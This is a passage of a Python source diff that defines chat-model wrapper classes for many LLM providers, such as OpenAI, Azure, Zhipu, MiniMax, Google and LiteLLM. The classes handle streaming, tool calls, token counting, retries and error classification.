tool_call.function.arguments if tool_call.function.arguments else "" + continue + + if any([not resp.choices, not resp.choices[0].delta, not hasattr(resp.choices[0].delta, "content")]): + raise Exception("500 response structure error.") + + if not resp.choices[0].delta.content: + resp.choices[0].delta.content = "" + + if hasattr(resp.choices[0].delta, "reasoning_content") and resp.choices[0].delta.reasoning_content: + ans = "" + if not reasoning_start: + reasoning_start = True + ans = "" + ans += resp.choices[0].delta.reasoning_content + "" + yield ans + else: + reasoning_start = False + answer += resp.choices[0].delta.content + yield resp.choices[0].delta.content + + tol = self.total_token_count(resp) + if not tol: + total_tokens += num_tokens_from_string(resp.choices[0].delta.content) + else: + total_tokens = tol + + finish_reason = resp.choices[0].finish_reason if hasattr(resp.choices[0], "finish_reason") else "" + if finish_reason == "length": + yield self._length_stop("") + + if answer: + yield total_tokens + return + + for tool_call in final_tool_calls.values(): + name = tool_call.function.name + try: + args = json_repair.loads(tool_call.function.arguments) + yield self._verbose_tool_use(name, args, "Begin to call...") + tool_response = self.toolcall_session.tool_call(name, args) + history = self._append_history(history, tool_call, tool_response) + yield self._verbose_tool_use(name, args, tool_response) + except Exception as e: + logging.exception(msg=f"Wrong JSON argument format in LLM tool call response: {tool_call}") + history.append({"role": "tool", "tool_call_id": tool_call.id, "content": f"Tool call error: \n{tool_call}\nException:\n" + str(e)}) + yield self._verbose_tool_use(name, {}, str(e)) + + logging.warning(f"Exceed max rounds: {self.max_rounds}") + history.append({"role": "user", "content": f"Exceed max rounds: {self.max_rounds}"}) + response = self.client.chat.completions.create(model=self.model_name, messages=history, stream=True, **gen_conf) + for resp in response: + if any([not resp.choices, not resp.choices[0].delta, not hasattr(resp.choices[0].delta, "content")]): + raise Exception("500 response structure error.") + if not resp.choices[0].delta.content: + resp.choices[0].delta.content = "" + continue + tol = self.total_token_count(resp) + if not tol: + total_tokens += num_tokens_from_string(resp.choices[0].delta.content) + else: + total_tokens = tol + answer += resp.choices[0].delta.content + yield resp.choices[0].delta.content + + yield total_tokens + return + + except Exception as e: + e = self._exceptions(e, attempt) + if e: + yield e + yield total_tokens + return + + assert False, "Shouldn't be here." + + def chat_streamly(self, system, history, gen_conf: dict = {}, **kwargs): + if system and history and history[0].get("role") != "system": + history.insert(0, {"role": "system", "content": system}) + gen_conf = self._clean_conf(gen_conf) + ans = "" + total_tokens = 0 + try: + for delta_ans, tol in self._chat_streamly(history, gen_conf, **kwargs): + yield delta_ans + total_tokens += tol + except openai.APIError as e: + yield ans + "\n**ERROR**: " + str(e) + + yield total_tokens + + def total_token_count(self, resp): + return total_token_count_from_response(resp) + + def _calculate_dynamic_ctx(self, history): + """Calculate dynamic context window size""" + + def count_tokens(text): + """Calculate token count for text""" + # Simple calculation: 1 token per ASCII character + # 2 tokens for non-ASCII characters (Chinese, Japanese, Korean, etc.) + total = 0 + for char in text: + if ord(char) < 128: # ASCII characters + total += 1 + else: # Non-ASCII characters (Chinese, Japanese, Korean, etc.) + total += 2 + return total + + # Calculate total tokens for all messages + total_tokens = 0 + for message in history: + content = message.get("content", "") + # Calculate content tokens + content_tokens = count_tokens(content) + # Add role marker token overhead + role_tokens = 4 + total_tokens += content_tokens + role_tokens + + # Apply 1.2x buffer ratio + total_tokens_with_buffer = int(total_tokens * 1.2) + + if total_tokens_with_buffer <= 8192: + ctx_size = 8192 + else: + ctx_multiplier = (total_tokens_with_buffer // 8192) + 1 + ctx_size = ctx_multiplier * 8192 + + return ctx_size + + +class GptTurbo(Base): + _FACTORY_NAME = "OpenAI" + + def __init__(self, key, model_name="gpt-3.5-turbo", base_url="https://api.openai.com/v1", **kwargs): + if not base_url: + base_url = "https://api.openai.com/v1" + super().__init__(key, model_name, base_url, **kwargs) + + +class XinferenceChat(Base): + _FACTORY_NAME = "Xinference" + + def __init__(self, key=None, model_name="", base_url="", **kwargs): + if not base_url: + raise ValueError("Local llm url cannot be None") + base_url = urljoin(base_url, "v1") + super().__init__(key, model_name, base_url, **kwargs) + + +class HuggingFaceChat(Base): + _FACTORY_NAME = "HuggingFace" + + def __init__(self, key=None, model_name="", base_url="", **kwargs): + if not base_url: + raise ValueError("Local llm url cannot be None") + base_url = urljoin(base_url, "v1") + super().__init__(key, model_name.split("___")[0], base_url, **kwargs) + + +class ModelScopeChat(Base): + _FACTORY_NAME = "ModelScope" + + def __init__(self, key=None, model_name="", base_url="", **kwargs): + if not base_url: + raise ValueError("Local llm url cannot be None") + base_url = urljoin(base_url, "v1") + super().__init__(key, model_name.split("___")[0], base_url, **kwargs) + + +class AzureChat(Base): + _FACTORY_NAME = "Azure-OpenAI" + + def __init__(self, key, model_name, base_url, **kwargs): + api_key = json.loads(key).get("api_key", "") + api_version = json.loads(key).get("api_version", "2024-02-01") + super().__init__(key, model_name, base_url, **kwargs) + self.client = AzureOpenAI(api_key=api_key, azure_endpoint=base_url, api_version=api_version) + self.model_name = model_name + + @property + def _retryable_errors(self) -> set[str]: + return { + LLMErrorCode.ERROR_RATE_LIMIT, + LLMErrorCode.ERROR_SERVER, + LLMErrorCode.ERROR_QUOTA, + } + + +class BaiChuanChat(Base): + _FACTORY_NAME = "BaiChuan" + + def __init__(self, key, model_name="Baichuan3-Turbo", base_url="https://api.baichuan-ai.com/v1", **kwargs): + if not base_url: + base_url = "https://api.baichuan-ai.com/v1" + super().__init__(key, model_name, base_url, **kwargs) + + @staticmethod + def _format_params(params): + return { + "temperature": params.get("temperature", 0.3), + "top_p": params.get("top_p", 0.85), + } + + def _clean_conf(self, gen_conf): + return { + "temperature": gen_conf.get("temperature", 0.3), + "top_p": gen_conf.get("top_p", 0.85), + } + + def _chat(self, history, gen_conf={}, **kwargs): + response = self.client.chat.completions.create( + model=self.model_name, + messages=history, + extra_body={"tools": [{"type": "web_search", "web_search": {"enable": True, "search_mode": "performance_first"}}]}, + **gen_conf, + ) + ans = response.choices[0].message.content.strip() + if response.choices[0].finish_reason == "length": + if is_chinese([ans]): + ans += LENGTH_NOTIFICATION_CN + else: + ans += LENGTH_NOTIFICATION_EN + return ans, self.total_token_count(response) + + def chat_streamly(self, system, history, gen_conf={}, **kwargs): + if system and history and history[0].get("role") != "system": + history.insert(0, {"role": "system", "content": system}) + if "max_tokens" in gen_conf: + del gen_conf["max_tokens"] + ans = "" + total_tokens = 0 + try: + response = self.client.chat.completions.create( + model=self.model_name, + messages=history, + extra_body={"tools": [{"type": "web_search", "web_search": {"enable": True, "search_mode": "performance_first"}}]}, + stream=True, + **self._format_params(gen_conf), + ) + for resp in response: + if not resp.choices: + continue + if not resp.choices[0].delta.content: + resp.choices[0].delta.content = "" + ans = resp.choices[0].delta.content + tol = self.total_token_count(resp) + if not tol: + total_tokens += num_tokens_from_string(resp.choices[0].delta.content) + else: + total_tokens = tol + if resp.choices[0].finish_reason == "length": + if is_chinese([ans]): + ans += LENGTH_NOTIFICATION_CN + else: + ans += LENGTH_NOTIFICATION_EN + yield ans + + except Exception as e: + yield ans + "\n**ERROR**: " + str(e) + + yield total_tokens + + +class ZhipuChat(Base): + _FACTORY_NAME = "ZHIPU-AI" + + def __init__(self, key, model_name="glm-3-turbo", base_url=None, **kwargs): + super().__init__(key, model_name, base_url=base_url, **kwargs) + + self.client = ZhipuAI(api_key=key) + self.model_name = model_name + + def _clean_conf(self, gen_conf): + if "max_tokens" in gen_conf: + del gen_conf["max_tokens"] + gen_conf = self._clean_conf_plealty(gen_conf) + return gen_conf + + def _clean_conf_plealty(self, gen_conf): + if "presence_penalty" in gen_conf: + del gen_conf["presence_penalty"] + if "frequency_penalty" in gen_conf: + del gen_conf["frequency_penalty"] + return gen_conf + + def chat_with_tools(self, system: str, history: list, gen_conf: dict): + gen_conf = self._clean_conf_plealty(gen_conf) + + return super().chat_with_tools(system, history, gen_conf) + + def chat_streamly(self, system, history, gen_conf={}, **kwargs): + if system and history and history[0].get("role") != "system": + history.insert(0, {"role": "system", "content": system}) + gen_conf = self._clean_conf(gen_conf) + ans = "" + tk_count = 0 + try: + logging.info(json.dumps(history, ensure_ascii=False, indent=2)) + response = self.client.chat.completions.create(model=self.model_name, messages=history, stream=True, **gen_conf) + for resp in response: + if not resp.choices[0].delta.content: + continue + delta = resp.choices[0].delta.content + ans = delta + if resp.choices[0].finish_reason == "length": + if is_chinese(ans): + ans += LENGTH_NOTIFICATION_CN + else: + ans += LENGTH_NOTIFICATION_EN + tk_count = self.total_token_count(resp) + if resp.choices[0].finish_reason == "stop": + tk_count = self.total_token_count(resp) + yield ans + except Exception as e: + yield ans + "\n**ERROR**: " + str(e) + + yield tk_count + + def chat_streamly_with_tools(self, system: str, history: list, gen_conf: dict): + gen_conf = self._clean_conf_plealty(gen_conf) + return super().chat_streamly_with_tools(system, history, gen_conf) + + +class LocalAIChat(Base): + _FACTORY_NAME = "LocalAI" + + def __init__(self, key, model_name, base_url=None, **kwargs): + super().__init__(key, model_name, base_url=base_url, **kwargs) + + if not base_url: + raise ValueError("Local llm url cannot be None") + base_url = urljoin(base_url, "v1") + self.client = OpenAI(api_key="empty", base_url=base_url) + self.model_name = model_name.split("___")[0] + + +class LocalLLM(Base): + def __init__(self, key, model_name, base_url=None, **kwargs): + super().__init__(key, model_name, base_url=base_url, **kwargs) + from jina import Client + + self.client = Client(port=12345, protocol="grpc", asyncio=True) + + def _prepare_prompt(self, system, history, gen_conf): + from rag.svr.jina_server import Prompt + + if system and history and history[0].get("role") != "system": + history.insert(0, {"role": "system", "content": system}) + return Prompt(message=history, gen_conf=gen_conf) + + def _stream_response(self, endpoint, prompt): + from rag.svr.jina_server import Generation + + answer = "" + try: + res = self.client.stream_doc(on=endpoint, inputs=prompt, return_type=Generation) + loop = asyncio.get_event_loop() + try: + while True: + answer = loop.run_until_complete(res.__anext__()).text + yield answer + except StopAsyncIteration: + pass + except Exception as e: + yield answer + "\n**ERROR**: " + str(e) + yield num_tokens_from_string(answer) + + def chat(self, system, history, gen_conf={}, **kwargs): + if "max_tokens" in gen_conf: + del gen_conf["max_tokens"] + prompt = self._prepare_prompt(system, history, gen_conf) + chat_gen = self._stream_response("/chat", prompt) + ans = next(chat_gen) + total_tokens = next(chat_gen) + return ans, total_tokens + + def chat_streamly(self, system, history, gen_conf={}, **kwargs): + if "max_tokens" in gen_conf: + del gen_conf["max_tokens"] + prompt = self._prepare_prompt(system, history, gen_conf) + return self._stream_response("/stream", prompt) + + +class VolcEngineChat(Base): + _FACTORY_NAME = "VolcEngine" + + def __init__(self, key, model_name, base_url="https://ark.cn-beijing.volces.com/api/v3", **kwargs): + """ + Since do not want to modify the original database fields, and the VolcEngine authentication method is quite special, + Assemble ark_api_key, ep_id into api_key, store it as a dictionary type, and parse it for use + model_name is for display only + """ + base_url = base_url if base_url else "https://ark.cn-beijing.volces.com/api/v3" + ark_api_key = json.loads(key).get("ark_api_key", "") + model_name = json.loads(key).get("ep_id", "") + json.loads(key).get("endpoint_id", "") + super().__init__(ark_api_key, model_name, base_url, **kwargs) + + +class MiniMaxChat(Base): + _FACTORY_NAME = "MiniMax" + + def __init__(self, key, model_name, base_url="https://api.minimax.chat/v1/text/chatcompletion_v2", **kwargs): + super().__init__(key, model_name, base_url=base_url, **kwargs) + + if not base_url: + base_url = "https://api.minimax.chat/v1/text/chatcompletion_v2" + self.base_url = base_url + self.model_name = model_name + self.api_key = key + + def _clean_conf(self, gen_conf): + for k in list(gen_conf.keys()): + if k not in ["temperature", "top_p", "max_tokens"]: + del gen_conf[k] + return gen_conf + + def _chat(self, history, gen_conf): + headers = { + "Authorization": f"Bearer {self.api_key}", + "Content-Type": "application/json", + } + payload = json.dumps({"model": self.model_name, "messages": history, **gen_conf}) + response = requests.request("POST", url=self.base_url, headers=headers, data=payload) + response = response.json() + ans = response["choices"][0]["message"]["content"].strip() + if response["choices"][0]["finish_reason"] == "length": + if is_chinese(ans): + ans += LENGTH_NOTIFICATION_CN + else: + ans += LENGTH_NOTIFICATION_EN + return ans, self.total_token_count(response) + + def chat_streamly(self, system, history, gen_conf): + if system and history and history[0].get("role") != "system": + history.insert(0, {"role": "system", "content": system}) + for k in list(gen_conf.keys()): + if k not in ["temperature", "top_p", "max_tokens"]: + del gen_conf[k] + ans = "" + total_tokens = 0 + try: + headers = { + "Authorization": f"Bearer {self.api_key}", + "Content-Type": "application/json", + } + payload = json.dumps( + { + "model": self.model_name, + "messages": history, + "stream": True, + **gen_conf, + } + ) + response = requests.request( + "POST", + url=self.base_url, + headers=headers, + data=payload, + ) + for resp in response.text.split("\n\n")[:-1]: + resp = json.loads(resp[6:]) + text = "" + if "choices" in resp and "delta" in resp["choices"][0]: + text = resp["choices"][0]["delta"]["content"] + ans = text + tol = self.total_token_count(resp) + if not tol: + total_tokens += num_tokens_from_string(text) + else: + total_tokens = tol + yield ans + + except Exception as e: + yield ans + "\n**ERROR**: " + str(e) + + yield total_tokens + + +class MistralChat(Base): + _FACTORY_NAME = "Mistral" + + def __init__(self, key, model_name, base_url=None, **kwargs): + super().__init__(key, model_name, base_url=base_url, **kwargs) + + from mistralai.client import MistralClient + + self.client = MistralClient(api_key=key) + self.model_name = model_name + + def _clean_conf(self, gen_conf): + for k in list(gen_conf.keys()): + if k not in ["temperature", "top_p", "max_tokens"]: + del gen_conf[k] + return gen_conf + + def _chat(self, history, gen_conf={}, **kwargs): + gen_conf = self._clean_conf(gen_conf) + response = self.client.chat(model=self.model_name, messages=history, **gen_conf) + ans = response.choices[0].message.content + if response.choices[0].finish_reason == "length": + if is_chinese(ans): + ans += LENGTH_NOTIFICATION_CN + else: + ans += LENGTH_NOTIFICATION_EN + return ans, self.total_token_count(response) + + def chat_streamly(self, system, history, gen_conf={}, **kwargs): + if system and history and history[0].get("role") != "system": + history.insert(0, {"role": "system", "content": system}) + gen_conf = self._clean_conf(gen_conf) + ans = "" + total_tokens = 0 + try: + response = self.client.chat_stream(model=self.model_name, messages=history, **gen_conf, **kwargs) + for resp in response: + if not resp.choices or not resp.choices[0].delta.content: + continue + ans = resp.choices[0].delta.content + total_tokens += 1 + if resp.choices[0].finish_reason == "length": + if is_chinese(ans): + ans += LENGTH_NOTIFICATION_CN + else: + ans += LENGTH_NOTIFICATION_EN + yield ans + + except openai.APIError as e: + yield ans + "\n**ERROR**: " + str(e) + + yield total_tokens + + +class LmStudioChat(Base): + _FACTORY_NAME = "LM-Studio" + + def __init__(self, key, model_name, base_url, **kwargs): + if not base_url: + raise ValueError("Local llm url cannot be None") + base_url = urljoin(base_url, "v1") + super().__init__(key, model_name, base_url, **kwargs) + self.client = OpenAI(api_key="lm-studio", base_url=base_url) + self.model_name = model_name + + +class OpenAI_APIChat(Base): + _FACTORY_NAME = ["VLLM", "OpenAI-API-Compatible"] + + def __init__(self, key, model_name, base_url, **kwargs): + if not base_url: + raise ValueError("url cannot be None") + model_name = model_name.split("___")[0] + super().__init__(key, model_name, base_url, **kwargs) + + +class LeptonAIChat(Base): + _FACTORY_NAME = "LeptonAI" + + def __init__(self, key, model_name, base_url=None, **kwargs): + if not base_url: + base_url = urljoin("https://" + model_name + ".lepton.run", "api/v1") + super().__init__(key, model_name, base_url, **kwargs) + + +class ReplicateChat(Base): + _FACTORY_NAME = "Replicate" + + def __init__(self, key, model_name, base_url=None, **kwargs): + super().__init__(key, model_name, base_url=base_url, **kwargs) + + from replicate.client import Client + + self.model_name = model_name + self.client = Client(api_token=key) + + def _chat(self, history, gen_conf={}, **kwargs): + system = history[0]["content"] if history and history[0]["role"] == "system" else "" + prompt = "\n".join([item["role"] + ":" + item["content"] for item in history[-5:] if item["role"] != "system"]) + response = self.client.run( + self.model_name, + input={"system_prompt": system, "prompt": prompt, **gen_conf}, + ) + ans = "".join(response) + return ans, num_tokens_from_string(ans) + + def chat_streamly(self, system, history, gen_conf={}, **kwargs): + if "max_tokens" in gen_conf: + del gen_conf["max_tokens"] + prompt = "\n".join([item["role"] + ":" + item["content"] for item in history[-5:]]) + ans = "" + try: + response = self.client.run( + self.model_name, + input={"system_prompt": system, "prompt": prompt, **gen_conf}, + ) + for resp in response: + ans = resp + yield ans + + except Exception as e: + yield ans + "\n**ERROR**: " + str(e) + + yield num_tokens_from_string(ans) + + +class HunyuanChat(Base): + _FACTORY_NAME = "Tencent Hunyuan" + + def __init__(self, key, model_name, base_url=None, **kwargs): + super().__init__(key, model_name, base_url=base_url, **kwargs) + + from tencentcloud.common import credential + from tencentcloud.hunyuan.v20230901 import hunyuan_client + + key = json.loads(key) + sid = key.get("hunyuan_sid", "") + sk = key.get("hunyuan_sk", "") + cred = credential.Credential(sid, sk) + self.model_name = model_name + self.client = hunyuan_client.HunyuanClient(cred, "") + + def _clean_conf(self, gen_conf): + _gen_conf = {} + if "temperature" in gen_conf: + _gen_conf["Temperature"] = gen_conf["temperature"] + if "top_p" in gen_conf: + _gen_conf["TopP"] = gen_conf["top_p"] + return _gen_conf + + def _chat(self, history, gen_conf={}, **kwargs): + from tencentcloud.hunyuan.v20230901 import models + + hist = [{k.capitalize(): v for k, v in item.items()} for item in history] + req = models.ChatCompletionsRequest() + params = {"Model": self.model_name, "Messages": hist, **gen_conf} + req.from_json_string(json.dumps(params)) + response = self.client.ChatCompletions(req) + ans = response.Choices[0].Message.Content + return ans, response.Usage.TotalTokens + + def chat_streamly(self, system, history, gen_conf={}, **kwargs): + from tencentcloud.common.exception.tencent_cloud_sdk_exception import ( + TencentCloudSDKException, + ) + from tencentcloud.hunyuan.v20230901 import models + + _gen_conf = {} + _history = [{k.capitalize(): v for k, v in item.items()} for item in history] + if system and history and history[0].get("role") != "system": + _history.insert(0, {"Role": "system", "Content": system}) + if "max_tokens" in gen_conf: + del gen_conf["max_tokens"] + if "temperature" in gen_conf: + _gen_conf["Temperature"] = gen_conf["temperature"] + if "top_p" in gen_conf: + _gen_conf["TopP"] = gen_conf["top_p"] + req = models.ChatCompletionsRequest() + params = { + "Model": self.model_name, + "Messages": _history, + "Stream": True, + **_gen_conf, + } + req.from_json_string(json.dumps(params)) + ans = "" + total_tokens = 0 + try: + response = self.client.ChatCompletions(req) + for resp in response: + resp = json.loads(resp["data"]) + if not resp["Choices"] or not resp["Choices"][0]["Delta"]["Content"]: + continue + ans = resp["Choices"][0]["Delta"]["Content"] + total_tokens += 1 + + yield ans + + except TencentCloudSDKException as e: + yield ans + "\n**ERROR**: " + str(e) + + yield total_tokens + + +class SparkChat(Base): + _FACTORY_NAME = "XunFei Spark" + + def __init__(self, key, model_name, base_url="https://spark-api-open.xf-yun.com/v1", **kwargs): + if not base_url: + base_url = "https://spark-api-open.xf-yun.com/v1" + model2version = { + "Spark-Max": "generalv3.5", + "Spark-Lite": "general", + "Spark-Pro": "generalv3", + "Spark-Pro-128K": "pro-128k", + "Spark-4.0-Ultra": "4.0Ultra", + } + version2model = {v: k for k, v in model2version.items()} + assert model_name in model2version or model_name in version2model, f"The given model name is not supported yet. Support: {list(model2version.keys())}" + if model_name in model2version: + model_version = model2version[model_name] + else: + model_version = model_name + super().__init__(key, model_version, base_url, **kwargs) + + +class BaiduYiyanChat(Base): + _FACTORY_NAME = "BaiduYiyan" + + def __init__(self, key, model_name, base_url=None, **kwargs): + super().__init__(key, model_name, base_url=base_url, **kwargs) + + import qianfan + + key = json.loads(key) + ak = key.get("yiyan_ak", "") + sk = key.get("yiyan_sk", "") + self.client = qianfan.ChatCompletion(ak=ak, sk=sk) + self.model_name = model_name.lower() + + def _clean_conf(self, gen_conf): + gen_conf["penalty_score"] = ((gen_conf.get("presence_penalty", 0) + gen_conf.get("frequency_penalty", 0)) / 2) + 1 + if "max_tokens" in gen_conf: + del gen_conf["max_tokens"] + return gen_conf + + def _chat(self, history, gen_conf): + system = history[0]["content"] if history and history[0]["role"] == "system" else "" + response = self.client.do(model=self.model_name, messages=[h for h in history if h["role"] != "system"], system=system, **gen_conf).body + ans = response["result"] + return ans, self.total_token_count(response) + + def chat_streamly(self, system, history, gen_conf={}, **kwargs): + gen_conf["penalty_score"] = ((gen_conf.get("presence_penalty", 0) + gen_conf.get("frequency_penalty", 0)) / 2) + 1 + if "max_tokens" in gen_conf: + del gen_conf["max_tokens"] + ans = "" + total_tokens = 0 + + try: + response = self.client.do(model=self.model_name, messages=history, system=system, stream=True, **gen_conf) + for resp in response: + resp = resp.body + ans = resp["result"] + total_tokens = self.total_token_count(resp) + + yield ans + + except Exception as e: + return ans + "\n**ERROR**: " + str(e), 0 + + yield total_tokens + + +class GoogleChat(Base): + _FACTORY_NAME = "Google Cloud" + + def __init__(self, key, model_name, base_url=None, **kwargs): + super().__init__(key, model_name, base_url=base_url, **kwargs) + + import base64 + + from google.oauth2 import service_account + + key = json.loads(key) + access_token = json.loads(base64.b64decode(key.get("google_service_account_key", ""))) + project_id = key.get("google_project_id", "") + region = key.get("google_region", "") + + scopes = ["https://www.googleapis.com/auth/cloud-platform"] + self.model_name = model_name + + if "claude" in self.model_name: + from anthropic import AnthropicVertex + from google.auth.transport.requests import Request + + if access_token: + credits = service_account.Credentials.from_service_account_info(access_token, scopes=scopes) + request = Request() + credits.refresh(request) + token = credits.token + self.client = AnthropicVertex(region=region, project_id=project_id, access_token=token) + else: + self.client = AnthropicVertex(region=region, project_id=project_id) + else: + import vertexai.generative_models as glm + from google.cloud import aiplatform + + if access_token: + credits = service_account.Credentials.from_service_account_info(access_token) + aiplatform.init(credentials=credits, project=project_id, location=region) + else: + aiplatform.init(project=project_id, location=region) + self.client = glm.GenerativeModel(model_name=self.model_name) + + def _clean_conf(self, gen_conf): + if "claude" in self.model_name: + if "max_tokens" in gen_conf: + del gen_conf["max_tokens"] + else: + if "max_tokens" in gen_conf: + gen_conf["max_output_tokens"] = gen_conf["max_tokens"] + for k in list(gen_conf.keys()): + if k not in ["temperature", "top_p", "max_output_tokens"]: + del gen_conf[k] + return gen_conf + + def _chat(self, history, gen_conf={}, **kwargs): + system = history[0]["content"] if history and history[0]["role"] == "system" else "" + if "claude" in self.model_name: + response = self.client.messages.create( + model=self.model_name, + messages=[h for h in history if h["role"] != "system"], + system=system, + stream=False, + **gen_conf, + ).json() + ans = response["content"][0]["text"] + if response["stop_reason"] == "max_tokens": + ans += "...\nFor the content length reason, it stopped, continue?" if is_english([ans]) else "······\n由于长度的原因，回答被截断了，要继续吗？" + return ( + ans, + response["usage"]["input_tokens"] + response["usage"]["output_tokens"], + ) + + self.client._system_instruction = system + hist = [] + for item in history: + if item["role"] == "system": + continue + hist.append(deepcopy(item)) + item = hist[-1] + if "role" in item and item["role"] == "assistant": + item["role"] = "model" + if "content" in item: + item["parts"] = [ + { + "text": item.pop("content"), + } + ] + + response = self.client.generate_content(hist, generation_config=gen_conf) + ans = response.text + return ans, response.usage_metadata.total_token_count + + def chat_streamly(self, system, history, gen_conf={}, **kwargs): + if "claude" in self.model_name: + if "max_tokens" in gen_conf: + del gen_conf["max_tokens"] + ans = "" + total_tokens = 0 + try: + response = self.client.messages.create( + model=self.model_name, + messages=history, + system=system, + stream=True, + **gen_conf, + ) + for res in response.iter_lines(): + res = res.decode("utf-8") + if "content_block_delta" in res and "data" in res: + text = json.loads(res[6:])["delta"]["text"] + ans = text + total_tokens += num_tokens_from_string(text) + except Exception as e: + yield ans + "\n**ERROR**: " + str(e) + + yield total_tokens + else: + self.client._system_instruction = system + if "max_tokens" in gen_conf: + gen_conf["max_output_tokens"] = gen_conf["max_tokens"] + for k in list(gen_conf.keys()): + if k not in ["temperature", "top_p", "max_output_tokens"]: + del gen_conf[k] + for item in history: + if "role" in item and item["role"] == "assistant": + item["role"] = "model" + if "content" in item: + item["parts"] = item.pop("content") + ans = "" + try: + response = self.model.generate_content(history, generation_config=gen_conf, stream=True) + for resp in response: + ans = resp.text + yield ans + + except Exception as e: + yield ans + "\n**ERROR**: " + str(e) + + yield response._chunks[-1].usage_metadata.total_token_count + + +class GPUStackChat(Base): + _FACTORY_NAME = "GPUStack" + + def __init__(self, key=None, model_name="", base_url="", **kwargs): + if not base_url: + raise ValueError("Local llm url cannot be None") + base_url = urljoin(base_url, "v1") + super().__init__(key, model_name, base_url, **kwargs) + + +class TokenPonyChat(Base): + _FACTORY_NAME = "TokenPony" + + def __init__(self, key, model_name, base_url="https://ragflow.vip-api.tokenpony.cn/v1", **kwargs): + if not base_url: + base_url = "https://ragflow.vip-api.tokenpony.cn/v1" + +class DeerAPIChat(Base): + _FACTORY_NAME = "DeerAPI" + + def __init__(self, key, model_name, base_url="https://api.deerapi.com/v1", **kwargs): + if not base_url: + base_url = "https://api.deerapi.com/v1" + super().__init__(key, model_name, base_url, **kwargs) + + +class LiteLLMBase(ABC): + _FACTORY_NAME = [ + "Tongyi-Qianwen", + "Bedrock", + "Moonshot", + "xAI", + "DeepInfra", + "Groq", + "Cohere", + "Gemini", + "DeepSeek", + "NVIDIA", + "TogetherAI", + "Anthropic", + "Ollama", + "Meituan", + "CometAPI", + "SILICONFLOW", + "OpenRouter", + "StepFun", + "PPIO", + "PerfXCloud", + "Upstage", + "NovitaAI", + "01.AI", + "GiteeAI", + "302.AI", + ] + + def __init__(self, key, model_name, base_url=None, **kwargs): + self.timeout = int(os.environ.get("LM_TIMEOUT_SECONDS", 600)) + self.provider = kwargs.get("provider", "") + self.prefix = LITELLM_PROVIDER_PREFIX.get(self.provider, "") + self.model_name = f"{self.prefix}{model_name}" + self.api_key = key + self.base_url = (base_url or FACTORY_DEFAULT_BASE_URL.get(self.provider, "")).rstrip("/") + # Configure retry parameters + self.max_retries = kwargs.get("max_retries", int(os.environ.get("LLM_MAX_RETRIES", 5))) + self.base_delay = kwargs.get("retry_interval", float(os.environ.get("LLM_BASE_DELAY", 2.0))) + self.max_rounds = kwargs.get("max_rounds", 5) + self.is_tools = False + self.tools = [] + self.toolcall_sessions = {} + + # Factory specific fields + if self.provider == SupportedLiteLLMProvider.Bedrock: + self.bedrock_ak = json.loads(key).get("bedrock_ak", "") + self.bedrock_sk = json.loads(key).get("bedrock_sk", "") + self.bedrock_region = json.loads(key).get("bedrock_region", "") + + def _get_delay(self): + """Calculate retry delay time""" + return self.base_delay * random.uniform(10, 150) + + def _classify_error(self, error): + """Classify error based on error message content""" + error_str = str(error).lower() + + keywords_mapping = [ + (["quota", "capacity", "credit", "billing", "balance", "欠费"], LLMErrorCode.ERROR_QUOTA), + (["rate limit", "429", "tpm limit", "too many requests", "requests per minute"], LLMErrorCode.ERROR_RATE_LIMIT), + (["auth", "key", "apikey", "401", "forbidden", "permission"], LLMErrorCode.ERROR_AUTHENTICATION), + (["invalid", "bad request", "400", "format", "malformed", "parameter"], LLMErrorCode.ERROR_INVALID_REQUEST), + (["server", "503", "502", "504", "500", "unavailable"], LLMErrorCode.ERROR_SERVER), + (["timeout", "timed out"], LLMErrorCode.ERROR_TIMEOUT), + (["connect", "network", "unreachable", "dns"], LLMErrorCode.ERROR_CONNECTION), + (["filter", "content", "policy", "blocked", "safety", "inappropriate"], LLMErrorCode.ERROR_CONTENT_FILTER), + (["model", "not found", "does not exist", "not available"], LLMErrorCode.ERROR_MODEL), + (["max rounds"], LLMErrorCode.ERROR_MODEL), + ] + for words, code in keywords_mapping: + if re.search("({})".format("|".join(words)), error_str): + return code + + return LLMErrorCode.ERROR_GENERIC + + def _clean_conf(self, gen_conf): + if "max_tokens" in gen_conf: + del gen_conf["max_tokens"] + return gen_conf + + def _chat(self, history, gen_conf, **kwargs): + logging.info("[HISTORY]" + json.dumps(history, ensure_ascii=False, indent=2)) + if self.model_name.lower().find("qwen3") >= 0: + kwargs["extra_body"] = {"enable_thinking": False} + + completion_args = self._construct_completion_args(history=history, stream=False, tools=False, **gen_conf) + response = litellm.completion( + **completion_args, + drop_params=True, + timeout=self.timeout, + ) + # response = self.client.chat.completions.create(model=self.model_name, messages=history, **gen_conf, **kwargs) + + if any([not response.choices, not response.choices[0].message, not response.choices[0].message.content]): + return "", 0 + ans = response.choices[0].message.content.strip() + if response.choices[0].finish_reason == "length": + ans = self._length_stop(ans) + + return ans, self.total_token_count(response) + + def _chat_streamly(self, history, gen_conf, **kwargs): + logging.info("[HISTORY STREAMLY]" + json.dumps(history, ensure_ascii=False, indent=4)) + reasoning_start = False + + completion_args = self._construct_completion_args(history=history, stream=True, tools=False, **gen_conf) + stop = kwargs.get("stop") + if stop: + completion_args["stop"] = stop + response = litellm.completion( + **completion_args, + drop_params=True, + timeout=self.timeout, + ) + + for resp in response: + if not hasattr(resp, "choices") or not resp.choices: + continue + + delta = resp.choices[0].delta + if not hasattr(delta, "content") or delta.content is None: + delta.content = "" + + if kwargs.get("with_reasoning", True) and hasattr(delta, "reasoning_content") and delta.reasoning_content: + ans = "" + if not reasoning_start: + reasoning_start = True + ans = "" + ans += delta.reasoning_content + "" + else: + reasoning_start = False + ans = delta.content + + tol = self.total_token_count(resp) + if not tol: + tol = num_tokens_from_string(delta.content) + + finish_reason = resp.choices[0].finish_reason if hasattr(resp.choices[0], "finish_reason") else "" + if finish_reason == "length": + if is_chinese(ans): + ans += LENGTH_NOTIFICATION_CN + else: + ans += LENGTH_NOTIFICATION_EN + + yield ans, tol + + def _length_stop(self, ans): + if is_chinese([ans]): + return ans + LENGTH_NOTIFICATION_CN + return ans + LENGTH_NOTIFICATION_EN + + @property + def _retryable_errors(self) -> set[str]: + return { + LLMErrorCode.ERROR_RATE_LIMIT, + LLMErrorCode.ERROR_SERVER, + } + + def _should_retry(self, error_code: str) -> bool: + return error_code in self._retryable_errors + + def _exceptions(self, e, attempt) -> str | None: + logging.exception("OpenAI chat_with_tools") + # Classify the error + error_code = self._classify_error(e) + if attempt == self.max_retries: + error_code = LLMErrorCode.ERROR_MAX_RETRIES + + if self._should_retry(error_code): + delay = self._get_delay() + logging.warning(f"Error: {error_code}. Retrying in {delay:.2f} seconds... (Attempt {attempt + 1}/{self.max_retries})") + time.sleep(delay) + return None + + return 